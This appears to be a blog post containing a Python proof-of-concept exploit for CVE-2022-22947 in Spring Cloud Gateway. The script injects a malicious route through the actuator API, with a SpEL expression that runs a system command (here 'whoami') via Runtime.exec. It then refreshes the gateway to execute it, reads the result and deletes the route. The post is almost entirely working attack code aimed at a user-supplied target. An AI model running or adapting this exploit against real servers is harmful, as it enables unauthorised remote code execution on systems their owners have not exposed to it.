Poc_CVE-2022-22947 

 1 import requests
 2 import argparse
 3 import json
 4 
 5 headers = {"Content-Type": "application/json",
 6                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
 7                    'Accept': '*/*'}
 8 
 9 def delete(url):
10     response = requests.delete(url=url,headers=headers,verify=False)
11     if response.status_code == 200:
12         print('Your malevolence route is deleted, take it easy~')
13     else:
14         print('Please delete your malevolence route manually~')
15 
16 def interview(url):
17     payurl = 'http://' + url + '/actuator/gateway/routes/wavesky'
18     response = requests.get(url=payurl,headers=headers)
19     if response.status_code == 200:
20         print('It looks likely vulnerable')
21         delete(payurl)
22     else:
23         print('It is strong')
24 
25 def trigger(url):
26     payurl ='http://' + url + '/actuator/gateway/refresh'
27     response = requests.post(headers=headers,url=payurl,verify=False)
28     try:
29         if response.status_code == 200:
30             interview(url)
31 
32     except Exception as e:
33         print(e)
34         pass
35 
36 def exploit(url):
37         payurl ='http://' + url + '/actuator/gateway/routes/wavesky'
38         payload = {
39             'id':'wavesky',
40             'filters':[{'name':'AddResponseHeader','args':{'name':'Result','value':'#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}'}}],
41             'uri':'http://example.com'
42         }
43         response = requests.post(url=payurl,data=json.dumps(payload),headers=headers,verify=False)
44         try:
45             if response.status_code == 201:
46                 trigger(url)
47 
48         except Exception as e:
49             print(e)
50             pass
51 
52 if __name__ == '__main__':
53     parameter = argparse.ArgumentParser(description='Poc CVE-2022-22947:')
54     parameter.add_argument('--file',help='url file',required=False)
55     parameter.add_argument('--url',help='ip:port',required=False)
56     para = parameter.parse_args()
57 
58     if para.url:
59         exploit(para.url)
60         exit()
61     else:
62         parameter.print_help()

 

posted @ 2022-06-29 17:07  wavesky  阅读(318)  评论(0)    收藏  举报